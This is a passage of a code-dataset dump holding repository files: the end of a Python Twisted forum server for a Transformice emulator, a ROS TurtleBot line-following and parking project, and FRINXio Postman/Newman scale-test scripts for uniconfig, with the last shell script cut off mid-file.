?, ?, ?)\", [self.username, self.forum_id, thread_id, \"\", \"Konu Sabit'ten Çıkarıldı.\"])\r\n dbcur.execute(\"UPDATE forum_threads SET sticky=0 WHERE thread_id = ?\", [thread_id])\r\n self.openForums(self.forum_id, 0)\r\n self.openThread(thread_id, 0)\r\n\r\n elif opcode2 == \"\\x0f\":\r\n # Moderate theme\r\n self.RequireLevel(self.userTypeNeededForPeutModerer)\r\n p = ByteArray(data)\r\n thread_id = p.readInt()\r\n message_id = p.readInt()\r\n type_modere = p.readInt()\r\n comment = p.readUTF()\r\n\r\n dbcur.execute(\"INSERT INTO forum_log VALUES(?, ?, ?, ?, ?)\", [self.username, self.forum_id, thread_id, message_id, comment])\r\n \r\n if type_modere == 0:\r\n # Unsupperme Message\r\n dbcur.execute(\"UPDATE forum_comments SET deleted=0, nomModerateur='', reason='' WHERE thread_id = ? AND message_id = ?\", [thread_id, message_id])\r\n \r\n\r\n if type_modere == 1:\r\n # Supperme Message\r\n dbcur.execute(\"UPDATE forum_comments SET deleted=1, nomModerateur=?, reason=? WHERE thread_id = ? AND message_id = ?\", [self.username, comment, thread_id, message_id])\r\n \r\n\r\n if type_modere == 2:\r\n # Delete Message\r\n dbcur.execute(\"UPDATE forum_comments SET deleted=2, nomModerateur=?, reason=? WHERE thread_id = ? AND message_id = ?\", [self.username, comment, thread_id, message_id])\r\n \r\n self.openForums(self.forum_id, 0)\r\n self.openThread(thread_id, 0)\r\n\r\n elif opcode2 == \"\\x10\":\r\n # Moderer > 1 message\r\n self.RequireLevel(self.userTypeNeededForPeutModerer)\r\n p = ByteArray(data)\r\n username = p.readUTF()\r\n type_modere = p.readInt()\r\n comment = p.readUTF()\r\n dbcur.execute(\"INSERT INTO forum_log VALUES(?, ?, ?, ?, ?)\", [self.username, self.forum_id, \"\", \"\", comment])\r\n \r\n if type_modere == 0:\r\n # Unsupperme Message\r\n dbcur.execute(\"UPDATE forum_comments SET deleted=0, nomModerateur='', reason='' WHERE username = ?\", [username])\r\n \r\n\r\n if type_modere == 1:\r\n # Supperme Message\r\n dbcur.execute(\"UPDATE forum_comments SET deleted=1, nomModerateur=?, reason=? WHERE username = ?\", [self.username, comment, username])\r\n \r\n\r\n if type_modere == 2:\r\n # Delete Message\r\n dbcur.execute(\"UPDATE forum_comments SET deleted=2, nomModerateur=?, reason=? WHERE username = ?\", [self.username, comment, username])\r\n \r\n\r\n elif opcode2 == \"\\x17\":\r\n # Sanctions # In progress...\r\n self.message_forum(\"You has no sanctions.\")\r\n\r\n\r\n elif opcode2 == \"\\x28\":\r\n # Online\r\n threading.Timer(15.0, self.online).start()\r\n #self.online()\r\n elif opcode1 == \"(\":\r\n print repr(opcode2)\r\n print repr(data)\r\n else:\r\n pass#print repr(data)\r\n else: self.transport.connectionLost()\r\n \r\n\r\nclass MultiEcho(Factory):\r\n def __init__(self):\r\n self.echoers = []\r\n\r\n def buildProtocol(self, addr):\r\n return TransformiceForums(self)\r\n\r\nclass nlol():\r\n online = []\r\n\r\nif __name__ == \"__main__\":\r\n \r\n \r\n # Twisted Reactor\r\n ports = [443,44444,44440,5555,3724,6112] #ports funcionando\r\n xserver = MultiEcho()\r\n for port in ports:reactor.listenTCP(port, xserver)\r\n reactor.callWhenRunning(sys.stdout.write, \"*\"*80 + \"Jessica Server By Dev-TR\".center(80) + \"*\"*80)\r\n reactor.callWhenRunning(sys.stdout.write, \"Reactor Engines Online V0.1RC4\".center(80))\r\n reactor.callWhenRunning(sys.stdout.flush)\r\n reactor.run()\r\n" }, { "alpha_fraction": 0.4206896424293518, "alphanum_fraction": 0.475862056016922, "avg_line_length": 18.714284896850586, "blob_id": "4bbcb99fbae4245e2574fa5d6133ddb198fb40bd", "content_id": "0e44302ae5e27299df2d86aaaf8ba46b084722ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 290, "license_type": "no_license", "max_line_length": 45, "num_lines": 14, "path": "/saat.py", "repo_name": "klawau/JessicaServer", "src_encoding": "UTF-8", "text": "import time\r\ndef saat(td):\r\n td = float(td)\r\n \r\n newsaat = 0\r\n newdakika = 0\r\n td = time.time()-td\r\n while td >= 3600:\r\n td -= 3600\r\n newsaat += 1\r\n while td >= 60:\r\n td -= 60\r\n newdakika += 1\r\n return str(newsaat)+\"NoVa\"+str(newdakika)\r\n" } ]
7
martin-ss/ROS-Line-following-automatic-parking
https://github.com/martin-ss/ROS-Line-following-automatic-parking
1c87dbd644b6d4722feefcc5b7d0733d3ec9dc2a
1cd85706c8c1b599efe35e8ca73f3c8720658cbb
df4e6613ec5f1e75197f05e8b5cda8b24e1af24a
refs/heads/main
2023-02-09T02:44:05.690234
2020-12-28T13:29:59
2020-12-28T13:29:59
325,007,244
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6257796287536621, "alphanum_fraction": 0.6361746191978455, "avg_line_length": 25.77777862548828, "blob_id": "5456ec0ee41268425aa68cb8941401972999e31f", "content_id": "b0b104fbe75a686d0934b236dceb59847361f545", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 481, "license_type": "no_license", "max_line_length": 58, "num_lines": 18, "path": "/my_following_line_package_1/scripts/colour_rgb_to_hsv_converter.py", "repo_name": "martin-ss/ROS-Line-following-automatic-parking", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport rospy\nimport cv2\nimport numpy as np\n\n\ndef converter_rgb_hsv(blue,green,red):\n rospy.init_node('line_following_node', anonymous=True)\n yellow = np.uint8([[[ blue,green,red ]]])\n hsv_yellow = cv2.cvtColor(yellow,cv2.COLOR_BGR2HSV)\n print( hsv_yellow )\n\nif __name__ == '__main__':\n \n red = int(raw_input(\"RGB, Red=\"))\n green = int(raw_input(\"RGB, Green=\"))\n blue = int(raw_input(\"RGB, Blue=\"))\n converter_rgb_hsv(blue,green,red)" }, { "alpha_fraction": 0.7312859892845154, "alphanum_fraction": 0.7389635443687439, "avg_line_length": 31.625, "blob_id": "627bdc1ec548cfdeb2e5229cc5ac98ea2588bbef", "content_id": "15ab0ae1187689ddd28043a797dce9cd2bc297e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 521, "license_type": "no_license", "max_line_length": 41, "num_lines": 16, "path": "/Parking/spawn_ar/catkin_generated/package.cmake", "repo_name": "martin-ss/ROS-Line-following-automatic-parking", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"spawn_ar\")\nset(spawn_ar_VERSION \"0.0.0\")\nset(spawn_ar_MAINTAINER \"user <[email protected]>\")\nset(spawn_ar_PACKAGE_FORMAT \"2\")\nset(spawn_ar_BUILD_DEPENDS )\nset(spawn_ar_BUILD_EXPORT_DEPENDS )\nset(spawn_ar_BUILDTOOL_DEPENDS \"catkin\")\nset(spawn_ar_BUILDTOOL_EXPORT_DEPENDS )\nset(spawn_ar_EXEC_DEPENDS )\nset(spawn_ar_RUN_DEPENDS )\nset(spawn_ar_TEST_DEPENDS )\nset(spawn_ar_DOC_DEPENDS )\nset(spawn_ar_URL_WEBSITE \"\")\nset(spawn_ar_URL_BUGTRACKER \"\")\nset(spawn_ar_URL_REPOSITORY \"\")\nset(spawn_ar_DEPRECATED \"\")" }, { "alpha_fraction": 0.7546995282173157, "alphanum_fraction": 0.7654853463172913, "avg_line_length": 41.68421173095703, "blob_id": "b36277cd10219728968b283fdb658fcdcb2d3520", "content_id": "6b8e7fd6534a9fc8cd12b435db801e5290a808a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3249, "license_type": "no_license", "max_line_length": 312, "num_lines": 76, "path": "/README.md", "repo_name": "martin-ss/ROS-Line-following-automatic-parking", "src_encoding": "UTF-8", "text": "# ROS-Line-following-automatic-parking\n\n# Using ROS_TurtleBot3\n\n## Abstract\n\n* Demonstration of Visual Servoing project is developed under ROS environment and using TheConstruct platform with TurtleBot running on Gazebo web version “Gzweb”. The main idea of the project is to develop an application running on TurtleBot to solve different navigation problems. This project can \n be sub-divided into 2 parts, Line following task and Parking task. For each task, control and simulation is achieved through different implementations, which in order to be solved, a certain skills related to ROS basics and their programming architecture understanding should be mastered .On top of that, \n Our simulated ROS environment provided by The-Construct website is exploited with different ROS online courses. In this report, a detailed guideline \n about the implementation will be presented in order to deliver the key features of our approach.\n\n\n## See DEMO examples:\n\n* <https://drive.google.com/drive/folders/1NVIkTawzJ-T4mepiQFDwKJSvNbRyF0Iy>\n\n## Introduction\n\n*Visual servoing refers to closed loop position control of a robot end-effector, using measurements from a vision sensor as mentioned in [3]. Two kinds of configurations for visual servo control are most frequently encountered in literature:\\\n1-Eye-in-hand\\\n2-Eye-to-hand\n\n## Figure to demonstrate\n![alt text](https://github.com/martin-ss/ROS-Line-following-automatic-parking/blob/main/Robot-Arm-Visual-Servoing-Methodology.ppm?raw=true)\n\n\n \n## Pipeline\n![alt text](https://github.com/martin-ss/ROS-Line-following-automatic-parking/blob/main/visual%20servoing%20pipeline-1.png?raw=true)\n\n## Table of contents\n\n\n\n\n> * [About / Synopsis](#Abstract)\n> * [Table of contents](#table-of-contents)\n> * [Installation](#installation)\n> * [Usage](#usage)\n> * [Screenshot of the Environment](#screenshot-of-the-Environment)\n> \n> \n> * [Refrencess](#Refrencess)\n\n\n> * [About the Project](#)\n\n\n## Installation\n\nSample:\n\n* From the Crrent repo: git clone https://github.com/martin-ss/ROS-Line-following-automatic-parking\n\n\n## Usage\n\n* This project is aimed to control the navigation of TurtleBot3 for line following and automatic parking tasks based on Image based visual servoing\n### Screenshot of the Environment\n\n![alt text](https://github.com/martin-ss/ROS_TurtleBot3/blob/main/ros2.png?raw=true)\n\n\n\n## Process (Steps)\n![alt text](https://github.com/martin-ss/ROS-Line-following-automatic-parking/blob/main/final%20gear-1.png?raw=true)\n![alt text](https://github.com/martin-ss/ROS-Line-following-automatic-parking/blob/main/final%20gear-2.png?raw=true)\n![alt text](https://github.com/martin-ss/ROS-Line-following-automatic-parking/blob/main/final%20gear-3.png?raw=true)\n![alt text](https://github.com/martin-ss/ROS-Line-following-automatic-parking/blob/main/final%20gear-4.png?raw=true)\n![alt text](https://github.com/martin-ss/ROS-Line-following-automatic-parking/blob/main/final%20gear-4.png?raw=true)\n![alt text](https://github.com/martin-ss/ROS-Line-following-automatic-parking/blob/main/final%20gear-5.png?raw=true)\n\n\n\n## About The Visual servoing Project\nIt is impelemneted as a part of a course module named visual servoing and tracking for Master-2 \n" }, { "alpha_fraction": 0.7832874059677124, "alphanum_fraction": 0.8117539286613464, "avg_line_length": 67.125, "blob_id": "c44674c37ebe5e28c63b698490cc7e79ffd5530f", "content_id": "c919a4574a3acac048a447485d0e11fb59a3f3c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 1089, "license_type": "no_license", "max_line_length": 152, "num_lines": 16, "path": "/Parking/AUTORACE/turtlebot3_autorace/turtlebot3_autorace/catkin_generated/package.cmake", "repo_name": "martin-ss/ROS-Line-following-automatic-parking", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"turtlebot3_autorace\")\nset(turtlebot3_autorace_VERSION \"1.2.0\")\nset(turtlebot3_autorace_MAINTAINER \"Pyo <[email protected]>, Gilbert <[email protected]>\")\nset(turtlebot3_autorace_PACKAGE_FORMAT \"2\")\nset(turtlebot3_autorace_BUILD_DEPENDS )\nset(turtlebot3_autorace_BUILD_EXPORT_DEPENDS )\nset(turtlebot3_autorace_BUILDTOOL_DEPENDS \"catkin\")\nset(turtlebot3_autorace_BUILDTOOL_EXPORT_DEPENDS )\nset(turtlebot3_autorace_EXEC_DEPENDS \"turtlebot3_autorace_camera\" \"turtlebot3_autorace_control\" \"turtlebot3_autorace_core\" \"turtlebot3_autorace_detect\")\nset(turtlebot3_autorace_RUN_DEPENDS \"turtlebot3_autorace_camera\" \"turtlebot3_autorace_control\" \"turtlebot3_autorace_core\" \"turtlebot3_autorace_detect\")\nset(turtlebot3_autorace_TEST_DEPENDS )\nset(turtlebot3_autorace_DOC_DEPENDS )\nset(turtlebot3_autorace_URL_WEBSITE \"http://wiki.ros.org/turtlebot3_autorace\")\nset(turtlebot3_autorace_URL_BUGTRACKER \"https://github.com/ROBOTIS-GIT/turtlebot3_autorace/issues\")\nset(turtlebot3_autorace_URL_REPOSITORY \"https://github.com/ROBOTIS-GIT/turtlebot3_autorace\")\nset(turtlebot3_autorace_DEPRECATED \"\")" } ]
4
FRINXio/Postman
https://github.com/FRINXio/Postman
cc29db01e8a2956c5cce3e8f6ba3337f4b57f6b5
8178040efe97de0af00cb700e39495150fed2553
2c436a2117db72c752d4f880df10a74963bb65ca
refs/heads/master
2022-03-12T23:18:48.698363
2022-03-02T19:31:40
2022-03-02T19:31:40
113,982,583
2
1
null
null
null
null
null
[ { "alpha_fraction": 0.765753448009491, "alphanum_fraction": 0.7773972749710083, "avg_line_length": 37.421051025390625, "blob_id": "0cd9dcf84d68b0fc9c82e205300d929f003464ae", "content_id": "779edff2327e4a5fcf160dd9af91eebb73660f5c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1460, "license_type": "no_license", "max_line_length": 91, "num_lines": 38, "path": "/uniconfig_framework/README.md", "repo_name": "FRINXio/Postman", "src_encoding": "UTF-8", "text": "# CLI-UNITS:POSTMAN\nGeneric scenario for tests:\n- Get data root before setup and check that in the response there is no value \nthat will be created in SETUP (e.g. get all interfaces and assert Loopback1 is not present)\n- Get particular data before setup and check that in response there is no value \nfrom SETUP (e.g. get Loopback1 interface and assert 404)\n- SETUP (e.g. create Loopback interface)\n- Get data root after setup and verify that data from SETUP is present \n(e.g. get all interfaces and check that Loopback1 is there)\n- Get particular data and check expected output (e.g. get the single Loopback1 interface)\n- TEAR DOWN\n\n\n## Requirements\npostman 5.3.1\nnewman 3.8.2\n\n\n## Installation\n1. Download and unzip distribution\n2. Start distro with token\n3. Install features: odl-restconf cli-southbound-plugin \nunified-topology-all-units cli-southbound-all-units odl-netconf-connector-all\n4. Run /.test.sh\n\n\n## Usage\nTest for cli is divided into IOS XR, IOS Classic\nand Mount/Unmount IOS folders. \nIOS XR folder is executable with xrv_env.json (variables for\nvirtual IOS XR device) and asr_env.json (variables for\nphysical IOS XR device)\nIOS Classic folder is executable with classic_env.json (IOS Classic device)\nand xe_env.json (IOS XE device). \nMount/Unmount folder is executable with mount_unmount_env.json (for\nssh protocol) and mount_unmount_telnet_env.json (telnet protocol)\nIn case you need use different variables, you can change it in \n*_env.json\n" }, { "alpha_fraction": 0.6209036111831665, "alphanum_fraction": 0.6335078477859497, "avg_line_length": 24.78499984741211, "blob_id": "11a38bb5b291de204b2b8cc8d814826a2ad551e1", "content_id": "ba93c91ac2bc4887c533d9bf9f1d584dfb14b7fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 5157, "license_type": "no_license", "max_line_length": 313, "num_lines": 200, "path": "/uniconfig_framework/test_uniconfig_scale.sh", "repo_name": "FRINXio/Postman", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n# This script allows to run uniconfig scale test with cli-testtool\n# it assumes to have already karaf and the <device_number> devices set up\n# to run test call the script with:\n# ./test_uniconfig_scale.sh <odl_ip> <first_device_number> <device_number>\n# e.g.: ./test_uniconfig_scale.sh 127.0.0.1 18500 100\n# where:\n# <odl_ip>: ip address of machine where is running odl\n# <first_device_number>: port number of first device\n# <device_number>: how many devices will be tested in netconftesttool\n\n#set -exu\nset +x\n\n# run test\n# parameters\ncollection=\"pc_uniconfig_RPC_scale_test.json\"\ndevice_prefix=\"cli-\"\n# parameters from command line\nodl_ip=$1\nfirst_device=$2\ndevice_number=$3\npeak=`expr $first_device + $device_number`\ndevice_peak=`expr $peak - 1`\n\n\nrm_file () {\n if [ -f $1 ] ; then\n\trm $1\n fi\n}\n\ncat_rm_file () {\n if [ -f $1 ] ; then\n\tcat $1\n\trm $1\n fi\n}\n\n\nfile=\"report_setup.txt\"\nrm_file \"$file\"\n\noutput_file=\"output_file.txt\"\nrm_file \"$output_file\"\n\nmkdir -p junit_results\n\n\nget_duration () {\n local _folder=$1\n local _device_number=$2\n local _output_file=$3\n\n _duration=`cat \"./junit_results/$_folder.xml\" | grep \"$_folder / $_folder\" | grep -E -o 'time=\"[0-9]+.[0-9]+\"' | grep -E -o '[0-9]+.[0-9]+'`\n echo \"Devices: $_device_number Request: $_folder --- Duration: $_duration sec\" >> $_output_file;\n}\n\n\nget_overall_duration () {\n local _folder=$1\n local _device_number=$2\n local _output_file=$3\n\n _duration=`cat \"./junit_results/$_folder.xml\" | grep \"pc_uniconfig_RPC_scale_test\" | grep -E -o 'time=\"[0-9]+.[0-9]+\"' | grep -E -o '[0-9]+.[0-9]+'`\n echo \"Devices: $_device_number Request: $_folder --- Overall Duration: $_duration sec\" >> $_output_file;\n}\n\n\n# run functions\nrun_loop () {\n local _collection=$1\n local _folder=$2\n local _odl_ip=$3\n local _device_number=$4\n local _nodes_file=$5\n local _file=$6\n\n local _test_id=\"collection: $_collection folder: $_folder\"\n echo $_test_id\n unbuffer newman run \"$_collection\" --bail folder -n \"$_device_number\" --folder \"$_folder\" --env-var \"odl_ip=$_odl_ip\" --iteration-data \"$_nodes_file\" --reporters cli,junit --reporter-junit-export \"./junit_results/${_folder}.xml\"; if [ \"$?\" != \"0\" ]; then echo \"$_test_id FAILED\" >> $_file; fi\n\n}\n\n\nrun_all_nodes () {\n local _collection=$1\n local _folder=$2\n local _odl_ip=$3\n local _device_number=$4\n local _file=$5\n\n local _test_id=\"collection: $_collection folder: $_folder device_number: $_device_number\"\n echo $_test_id\n unbuffer newman run \"$_collection\" --bail folder -n 1 --folder \"$_folder\" --env-var \"odl_ip=$_odl_ip\" --env-var \"data=$body\" --env-var \"device_number=$_device_number\" --reporters cli,junit --reporter-junit-export \"./junit_results/$_folder.xml\"; if [ \"$?\" != \"0\" ]; then echo \"$_test_id FAILED\" >> $_file; fi\n\n}\n\n\n# check number mounted devices unified\nfolder=\"check_number_mounted_devices_unified\"\nrun_all_nodes \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$file\"\n\n# create nodes.csv\n# this file contains\n#\n# node_id\n# cli-18000\n# ...\n# one row for each device that will be tested\n# this file will be passed to newman to iterate\n# the test for each device present in the file\n\nnodes_file=\"nodes.csv\"\nrm_file \"$nodes_file\"\necho \"node_id\" >> $nodes_file\nfor (( dev=$first_device; dev<=$first_device+$device_number; dev++ ))\ndo\n node_id=$device_prefix$dev\n echo \"$node_id\" >> $nodes_file\ndone\n\n#commit/calculate diff/dry-run/sync body \nbody=\"{\n \\\"input\\\" : {\n \\\"target-nodes\\\" : {\n \\\"node\\\" :\n \n [\"\n\n\nfor (( dev=$first_device; dev<=device_peak; dev++ ))\ndo\n node_id=$device_prefix$dev\n node_body=\"\n \\\"$device_prefix$dev\\\"\"\n\n \n node_body=\"$node_body\n \"\n\n body=\"$body\n $node_body\n \"\n\n if [ \"$dev\" -ne \"$device_peak\" ]; then\n body=\"$body ,\";\n fi\ndone\n\nbody=\"$body\n ]\n}}}\"\n\n#echo $body\n\n#save body as json and use in postman thru variable \" --env-var \"data=$body\" \"\necho $body > body.json\n\n# put configurations on all devices\nfolder=\"put_configuration\"\nrun_loop \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$nodes_file\" \"$file\"\nget_overall_duration \"$folder\" \"$device_number\" \"$output_file\"\n\n# calculate diff\nfolder=\"calculate_diff\"\nrun_all_nodes \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$file\"\nget_duration \"$folder\" \"$device_number\" \"$output_file\"\n\n# commit all\nfolder=\"commit_all\"\nrun_all_nodes \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$file\"\nget_duration \"$folder\" \"$device_number\" \"$output_file\"\n\n# dry run\nfolder=\"dry_run\"\nrun_all_nodes \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$file\"\nget_duration \"$folder\" \"$device_number\" \"$output_file\"\n\n# sync from network\nfolder=\"sync_from_network\"\nrun_all_nodes \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$file\"\nget_duration \"$folder\" \"$device_number\" \"$output_file\"\n\n\n\n# test output presentation\nif [ -f $file ] ; then\n echo \"-------TEST FAILURE LIST-------\"\n cat $file\nfi\n\necho \"-------TEST OUTPUT-------\"\ncat_rm_file \"$output_file\"\n\n# if there is a failure make jenkins job failing\nif [ -f $file ] ; then\n rm $file\n exit 1\nfi\n" }, { "alpha_fraction": 0.691204845905304, "alphanum_fraction": 0.7016818523406982, "avg_line_length": 29.478992462158203, "blob_id": "5f6191d591a73b2e2831a7e37c54f0e658751920", "content_id": "970f395cbfe2b5b6237a7cfa2abb7fde561d3592", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 3627, "license_type": "no_license", "max_line_length": 193, "num_lines": 119, "path": "/uniconfig_framework/test_unative_scale_existence.sh", "repo_name": "FRINXio/Postman", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n# SG: tobe done update this documentation\n# This script allows to run unative scale test with netconftest-tool\n# it assumes to have already karaf and the <device_number> devices set up\n# to run it do:\n# ./test_unative_scale.sh --mount-xr6 <postman_env_file>\n# e.g.: ./test_unative_scale.sh --mount-xr6 xrv_env.json\n# to mount the xr6 device\n#\n# otherwise to run the real test call the script with:\n# ./test_uniconfig_native_scale.sh <odl_ip> <first_device_number> <device_number> <iter_number> <test_scenario>\n# e.g.: ./test_unative_scale_scale.sh 127.0.0.1 18500 100 1 --commit-all\n# where:\n# <odl_ip>: ip address of machine where is running odl\n# <first_device_number>: port number of first device\n# <device_number>: how many devices will be tested in netconftesttool\n# <iter_number>: how many iterations of CUD will be done\n# the output of the test is the duration of commit and duration of calculate diff\n#\n# <test_scenario>: allows to specify which scenario to test\n# two different scenarios are available\n# --commit-all : all changes are commited to devices with one single commit command\n# --commit-single : the config changes in each device are commited using a commit related to the single device\n\n#set -exu\nset +x\n\n# import the test_unative_scale_utils.sh file to have the elementary functions available here in the test\nSCRIPTPATH=\"$( cd \"$(dirname \"$0\")\" ; pwd -P )\"\nsource \"$SCRIPTPATH\"/test_unative_scale_utils.sh\n\n\n# parameters\ncollection=\"pc_unative_RPC_scale_test.json\"\ndevice_prefix=\"netconf-\"\n\n\n# whitelist cisco xr6 device\nif [[ \"$1\" == \"--whitelist\" ]]; then\n\n # parameters\n odl_ip=$2\n\n file=list.txt\n rm_file \"$file\"\n\n folder=\"whitelist cisco xr6 device\"\n echo \"Performing $folder\"\n unbuffer newman run $collection --bail -n 1 --folder \"$folder\" --env-var \"odl_ip=$odl_ip\" --reporters cli,junit --reporter-junit-export \"./junit_results/mount.xml\"; if [ \"$?\" != \"0\" ]; then\n\techo \"Collection $collection testing $folder FAILED\" >> $file\n\tcat_rm_file \"$file\"\n\techo \"ERROR during whitelisting\"\n\texit 1\n fi\n cat_rm_file \"$file\"\n exit 0\n\nfi\n\n\n# run test\n# parameters from command line\nodl_ip=$1\nfirst_device=$2\ndevice_number=$3\niter_number=$4\ntest_scenario=$5\n\n# check iter_number\nif [[ \"$iter_number\" < 1 ]] ; then\n echo \"ERROR: the number of iterations of the test must be at least 1\"\n exit 1\nfi\n\n# check test_scenario\nif [[ \"$test_scenario\" != \"--commit-all\" ]] && [[ \"$test_scenario\" != \"--commit-single\" ]] ; then\n echo \"ERROR: wrong test scenario parameter, must be: '--commit-all' or '--commit-single'\"\n exit 1\nfi\n\nscenario_commit_all=false\nif [[ \"$test_scenario\" == \"--commit-all\" ]] ; then\n scenario_commit_all=true\nelse\n scenario_commit_all=false\nfi\n\n\n\nfile=\"report_setup.txt\"\nrm_file \"$file\"\n\noutput_file=\"output_file.txt\"\nrm_file \"$output_file\"\n\nmkdir -p junit_results\n\n\n# This test is to check that all the n devices are mounted through netconf\n# the test must be repeated several times in a for loop\n### setup testtool devices\necho \"Starting check device mounted with netconf with $device_number devices\"\n\nfor (( iter=1; iter<=$iter_number; iter++ ))\ndo\n echo \"Starting check device mounnted with netconf devices number $device_number iteration: $iter\"\n\n folder=\"setup show testtool device netconf existence\"\n run_iter_loop \"$iter\" \"$collection\" \"$folder\" \"$odl_ip\" \"$first_device\" \"$device_number\" \"$device_prefix\" \"$file\"\ndone # end of iteration\n\n\n# if there is a failure in the setup phase abort the test\nif [ -f $file ] ; then\n cat $file\n rm $file\n echo \"ERROR DURING TEST SETUP -> TEST ABORTED\"\n exit 1\nfi\n" }, { "alpha_fraction": 0.6775021553039551, "alphanum_fraction": 0.6937553286552429, "avg_line_length": 37.96666717529297, "blob_id": "787eeca89f98bd5aabd533d899dda7c3e40aa8b7", "content_id": "169e22c3842ac4ba20cb917f9f5355902b2c7f8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2338, "license_type": "no_license", "max_line_length": 133, "num_lines": 60, "path": "/uniconfig_framework/pc_uniconfig_parallel_tests.js", "repo_name": "FRINXio/Postman", "src_encoding": "UTF-8", "text": "/*\nUsage: \n 1. before execution the script run --> npm init -y <-- to create package.json with the information of .js script\n 2. after package.json is created run --> npm i async newman path <-- to install dependencies\n 3. if package json does not contain \"start\":\"node yourscript.js\" under the script container put it manually or run command: --><--\n 4. run --> node yourscript.js(in this case pc_uniconfig_parallel_tests.js) <-- to start the script \n */\n\nvar path = require('path');\nasync = require('async'); \nnewman = require('newman');\nrequire('csv-parse/lib/es5')\n\nparametersForTestRun = {\n\tcollection: path.join(__dirname, 'pc_uniconfig_unsorted.json'),\n\tfolder:'FRHD-506 Setup', // name or ID of item group in postman collection or folder\n\tenvironment: path.join(__dirname, 'xrv6.2.3_env.json'), //your env\n\treporters: ['cli','junit' ],\n\treporter : {junit : { export : './junit_results/FRHD-506 Setup.xml' }}\n};\nparametersForRequestA = {\n\tcollection: path.join(__dirname, 'pc_uniconfig_unsorted.json'),\n\tfolder:'FRHD-506-parallelA',\n\tenvironment: path.join(__dirname, 'xrv6.2.3_env.json'), //your env\n\treporters: ['cli','junit'],\n\treporter : {junit : { export : './junit_results/FRHD-506-parallelA.xml' }}\n};\nparametersForRequestB = {\n\tcollection: path.join(__dirname, 'pc_uniconfig_unsorted.json'),\n\tfolder:'FRHD-506-parallelB',\n\tenvironment: path.join(__dirname, 'xrv6.2.3_env.json'), //your env\n\treporters: ['cli','junit' ],\n\treporter :{junit : { export : './junit_results/FRHD-506-parallelB.xml' }}\n};\n\nparallelRequestRunA = function(exception) {\n newman.run(parametersForRequestA, exception);\n};\nparallelRequestRunB = function(exception) {\n newman.run(parametersForRequestB, exception);\n};\n\nnewman.run(parametersForTestRun).on('start', function (err, summary) { // on start of run, log to console\n}).on('done', function (err, summary) {\n// Runs the Postman request collection twice, in parallel.\n async.parallel([\n parallelRequestRunA,\n parallelRequestRunB\n ],\n function(err, results) {\n err && console.error(err);\n\n results.forEach(function(result) {\n var failures = result.run.failures;\n console.info(failures.length ? `Failures for FRHD-506` + JSON.stringify(failures) :\n `There were no failures in parallel request`);\n });\n console.info(`Test FRHD-506 completed`);\n });\n});\n" }, { "alpha_fraction": 0.6749651432037354, "alphanum_fraction": 0.6786136031150818, "avg_line_length": 31.58391571044922, "blob_id": "e10f8eb89d17e714aa8bb1994686fa62e31a002e", "content_id": "db14a2fc90909014750c3b86f7b8d08e4ee25e05", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 9319, "license_type": "no_license", "max_line_length": 118, "num_lines": 286, "path": "/uniconfig_framework/test_unative_scale.sh", "repo_name": "FRINXio/Postman", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n# This script allows to run unative scale test with netconftest-tool\n# it assumes to have already karaf and the <device_number> devices set up\n# to run test call the script with:\n# ./test_unative_scale.sh <odl_ip> <first_device_number> <device_number> <iter_number> <test_scenario>\n# e.g.: ./test_unative_scale.sh 127.0.0.1 18500 100 1 --commit-all\n# where:\n# <odl_ip>: ip address of machine where is running odl\n# <first_device_number>: port number of first device\n# <device_number>: how many devices will be tested in netconftesttool\n# <iter_number>: how many iterations of CUD will be done\n# the output of the test is the duration of commit and duration of calculate diff\n#\n# <test_scenario>: allows to specify which scenario to test\n# two different scenarios are available\n# --commit-all : all changes are commited to devices with one single commit command\n# --commit-single : the config changes in each device are commited using a commit related to the single device\n\n#set -exu\nset +x\n\n# import the test_unative_scale_utils.sh file to have the elementary functions available here in the test\nSCRIPTPATH=\"$( cd \"$(dirname \"$0\")\" ; pwd -P )\"\nsource \"$SCRIPTPATH\"/test_unative_scale_utils.sh\n\n\n# run test\n# parameters\ncollection=\"pc_unative_RPC_scale_test.json\"\ndevice_prefix=\"netconf-\"\n# parameters from command line\nodl_ip=$1\nfirst_device=$2\ndevice_number=$3\niter_number=$4\ntest_scenario=$5\npeak=`expr $first_device + $device_number`\ndevice_peak=`expr $peak - 1`\n\n# check iter_number\nif [[ \"$iter_number\" < 1 ]] ; then\n echo \"ERROR: the number of iterations of the test must be at least 1\"\n exit 1\nfi\n\n# check test_scenario\nif [[ \"$test_scenario\" != \"--commit-all\" ]] && [[ \"$test_scenario\" != \"--commit-single\" ]] ; then\n echo \"ERROR: wrong test scenario parameter, must be: '--commit-all' or '--commit-single'\"\n exit 1\nfi\n\nscenario_commit_all=false\nif [[ \"$test_scenario\" == \"--commit-all\" ]] ; then\n scenario_commit_all=true\nelse\n scenario_commit_all=false\nfi\n\n\n\nfile=\"report_setup.txt\"\nrm_file \"$file\"\n\noutput_file=\"output_file.txt\"\nrm_file \"$output_file\"\n\nmkdir -p junit_results\n\n\n# create nodes.csv\n# this file contains\n#\n# node_id\n# 